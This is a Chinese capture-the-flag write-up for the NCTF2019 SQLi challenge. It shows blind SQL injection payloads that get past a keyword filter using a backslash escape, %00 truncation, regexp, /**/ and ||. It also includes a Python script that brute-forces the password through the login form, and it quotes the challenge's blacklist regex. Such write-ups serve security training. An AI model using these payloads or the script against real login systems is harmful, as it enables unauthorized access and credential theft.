[NCTF2019]SQLi
考点:sql bypass
一道sql题,非常友好的给出了sqlquery
,但想必也不简单
sqlquery : select * from users where username='1' and passwd='1'
这中语句非常典型,不试都能猜到必然过滤了'
,在username
处使用\
转义,语句就变成了这样:
sqlquery : select * from users where username='\' and passwd='1'
但不幸的是我们使用传统的--+
和#
并没有办法注释掉最后的那个单引号,所以我们可以用%00
的实际值(%00的urldecode)来截断最后的单引号。
因为BUU的429限制,跑字典非常的耗时,所以就随便写了个小字典跑了一下
发现过滤了空格、like、=、and、or
一些字段,还好还有些可以用的
like => regexp
空格 => /**/
or => ||
猜测这题应该就是爆破密码,我们先构造一下payload:
select * from users where username='\' and passwd='||1/**/regexp/**/"1";%00'
select * from users where username='\' and passwd='||1/**/regexp/**/"2";%00'
得到两个的返回页面,证实了payload
的可行性,开始编写exp
from urllib import parse
import requests
import string
url = "http://968b8b9f-ecd5-47dd-8638-c3eeb5519d0b.node4.buuoj.cn:81//index.php"
string = string.ascii_lowercase + string.digits + '_' # 猜测密码由字母 数字 下划线组成
flag = ''
num = 0
for i in range(60):
if num == 1:
break
for j in string:
data = {
"username":
"\\",
"passwd":
"||/**/passwd/**/regexp/**/\"^{}\";{}".format(
flag + j, parse.unquote("%00"))
}
r = requests.post(url, data=data)
while (r.status_code == 429): # 避免访问次数过快产生429从而终止脚本
r = requests.post(url, data=data)
if "welcome" in r.text:
flag += j
print(flag)
break
if j == '_' and 'welcome' not in r.text: # 终止条件
num += 1
break
有的小伙伴就会问了,我的string
变量中并未加入大写字母诶,sql语句对大小写不敏感所以无需区分大小写。
还有一个要注意的是,%00
需要urldecode加入才有用,不然不能起到截断的作用。
密码爆出来后,随便使用一个用户名登陆就可以获得flag
了,这里将admin
给过滤掉了。
经过看其他师傅的wp,发现通过dirsearch
扫描出了robots.txt
和hint.txt
,提示如下:
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
If $_POST['passwd'] === admin's password,
Then you will get the flag;
标签:username,00,string,passwd,NCTF2019,SQLi,flag,where
From: https://www.cnblogs.com/seizer/p/17035725.html